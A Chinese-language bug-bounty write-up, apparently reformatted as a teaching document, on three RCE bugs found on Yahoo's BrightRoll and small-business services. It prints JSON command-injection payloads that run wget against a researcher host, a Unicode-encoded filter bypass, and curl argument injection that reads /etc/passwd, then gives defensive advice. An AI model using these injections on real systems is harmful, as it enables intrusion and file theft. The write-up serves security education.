挖洞经验 | 看我如何发现雅虎网站的3个RCE漏洞
字数 1318 2025-08-18 11:37:16

雅虎网站RCE漏洞挖掘与分析教学文档

1. 漏洞背景

雅虎(Yahoo)漏洞赏金项目中发现的3个RCE漏洞,涉及雅虎的BrightRoll应用和中小企业服务。BrightRoll是雅虎旗下的独立视频广告平台,2014年以6.4亿美元被雅虎收购。

2. 第一个RCE漏洞分析

2.1 发现过程

  1. 使用Google、Aquatone等工具进行前期踩点
  2. Aquatone发现一个有趣的端口页面,显示RabbitMQ消息队列管理面板
  3. 点击名为s3_adbox_setup的队列进入详情页面

2.2 RabbitMQ简介

RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件,用Erlang语言编写,支持群集和故障转移。

2.3 漏洞利用步骤

  1. 观察消息队列格式,发现JSON结构:
{
  "sub_bound": true,
  "hostname": "REDACTED",
  "timestamp": "2017/07/01/1649",
  "s3_key": "REDACTED",
  "nop": false,
  "providers": ["Google", "AWS"],
  "version": 3,
  "checkin_queue": "REDACTED",
  "type": "REDACTED",
  "interval_id": "REDACTED",
  "pod_id": "22"
}
  1. 构造恶意Payload,在pod_id参数注入命令:
{
  ...其他字段...,
  "pod_id": "22|wget http://myhost.name"
}
  1. 成功实现远程命令执行

3. 第二个RCE漏洞分析

3.1 发现过程

在另一台雅虎服务器发现相同应用,但服务器对|字符进行了过滤。

3.2 绕过技术

使用Unicode编码和URL编码绕过过滤:

{
  ...其他字段...,
  "pod_id": "23\u000awget\u0020http://myhost.name"
}

其中:

  • \u000a 是换行符的Unicode编码
  • \u0020 是空格的Unicode编码

4. 第三个RCE漏洞分析

4.1 漏洞背景

与雅虎中小企业服务(yahoo small business)相关,涉及邮件模板功能。

4.2 发现过程

  1. 访问邮件模板页面,AJAX发送请求获取产品图片路径
  2. 发现objinfo_data.php脚本用于重置产品图片大小
  3. 产品创建请求中包含图片URL但不含二进制数据

4.3 漏洞利用步骤

  1. 编辑产品页,将图片URL指向测试主机
  2. 使用产品ID向objinfo_data.php发起请求
  3. Netcat捕获请求,发现User-Agent为Curl
  4. 尝试命令注入:
    • 使用-A something参数注入User-Agent
    • 使用-T标记读取系统文件
  5. 成功读取/etc/passwd

5. 漏洞挖掘方法论总结

  1. 信息收集:使用Google、Aquatone等工具进行前期踩点
  2. 服务识别:识别开放端口运行的服务(RabbitMQ等)
  3. 功能分析:深入分析服务功能和工作原理
  4. 输入点探测:寻找可能的输入点(如JSON字段、URL参数)
  5. 过滤绕过:尝试各种编码和特殊字符绕过过滤
  6. SSRF利用:将内部服务暴露为攻击面
  7. 命令注入:利用系统命令执行功能实现RCE

6. 防御建议

  1. 输入验证:对所有输入进行严格验证和过滤
  2. 编码输出:对输出进行适当的编码处理
  3. 最小权限:服务运行在最小必要权限下
  4. 命令执行限制:避免直接使用用户输入执行系统命令
  5. 日志监控:监控异常请求和命令执行
  6. 安全编码:使用安全的API替代系统命令调用

7. 工具推荐

  1. 信息收集:Google dorks, Aquatone
  2. 代理工具:Burp Suite, OWASP ZAP
  3. 网络工具:Netcat, Curl
  4. 编码工具:CyberChef
  5. 漏洞验证:自定义脚本

通过以上详细的漏洞分析和挖掘方法,安全研究人员可以更好地理解和发现类似的安全漏洞。

雅虎网站RCE漏洞挖掘与分析教学文档 1. 漏洞背景 雅虎(Yahoo)漏洞赏金项目中发现的3个RCE漏洞,涉及雅虎的BrightRoll应用和中小企业服务。BrightRoll是雅虎旗下的独立视频广告平台,2014年以6.4亿美元被雅虎收购。 2. 第一个RCE漏洞分析 2.1 发现过程 使用Google、Aquatone等工具进行前期踩点 Aquatone发现一个有趣的端口页面,显示RabbitMQ消息队列管理面板 点击名为 s3_adbox_setup 的队列进入详情页面 2.2 RabbitMQ简介 RabbitMQ是实现了高级消息队列协议(AMQP)的开源消息代理软件,用Erlang语言编写,支持群集和故障转移。 2.3 漏洞利用步骤 观察消息队列格式,发现JSON结构: 构造恶意Payload,在 pod_id 参数注入命令: 成功实现远程命令执行 3. 第二个RCE漏洞分析 3.1 发现过程 在另一台雅虎服务器发现相同应用,但服务器对 | 字符进行了过滤。 3.2 绕过技术 使用Unicode编码和URL编码绕过过滤: 其中: \u000a 是换行符的Unicode编码 \u0020 是空格的Unicode编码 4. 第三个RCE漏洞分析 4.1 漏洞背景 与雅虎中小企业服务(yahoo small business)相关,涉及邮件模板功能。 4.2 发现过程 访问邮件模板页面,AJAX发送请求获取产品图片路径 发现 objinfo_data.php 脚本用于重置产品图片大小 产品创建请求中包含图片URL但不含二进制数据 4.3 漏洞利用步骤 编辑产品页,将图片URL指向测试主机 使用产品ID向 objinfo_data.php 发起请求 Netcat捕获请求,发现User-Agent为Curl 尝试命令注入: 使用 -A something 参数注入User-Agent 使用 -T 标记读取系统文件 成功读取 /etc/passwd 5. 漏洞挖掘方法论总结 信息收集 :使用Google、Aquatone等工具进行前期踩点 服务识别 :识别开放端口运行的服务(RabbitMQ等) 功能分析 :深入分析服务功能和工作原理 输入点探测 :寻找可能的输入点(如JSON字段、URL参数) 过滤绕过 :尝试各种编码和特殊字符绕过过滤 SSRF利用 :将内部服务暴露为攻击面 命令注入 :利用系统命令执行功能实现RCE 6. 防御建议 输入验证 :对所有输入进行严格验证和过滤 编码输出 :对输出进行适当的编码处理 最小权限 :服务运行在最小必要权限下 命令执行限制 :避免直接使用用户输入执行系统命令 日志监控 :监控异常请求和命令执行 安全编码 :使用安全的API替代系统命令调用 7. 工具推荐 信息收集 :Google dorks, Aquatone 代理工具 :Burp Suite, OWASP ZAP 网络工具 :Netcat, Curl 编码工具 :CyberChef 漏洞验证 :自定义脚本 通过以上详细的漏洞分析和挖掘方法,安全研究人员可以更好地理解和发现类似的安全漏洞。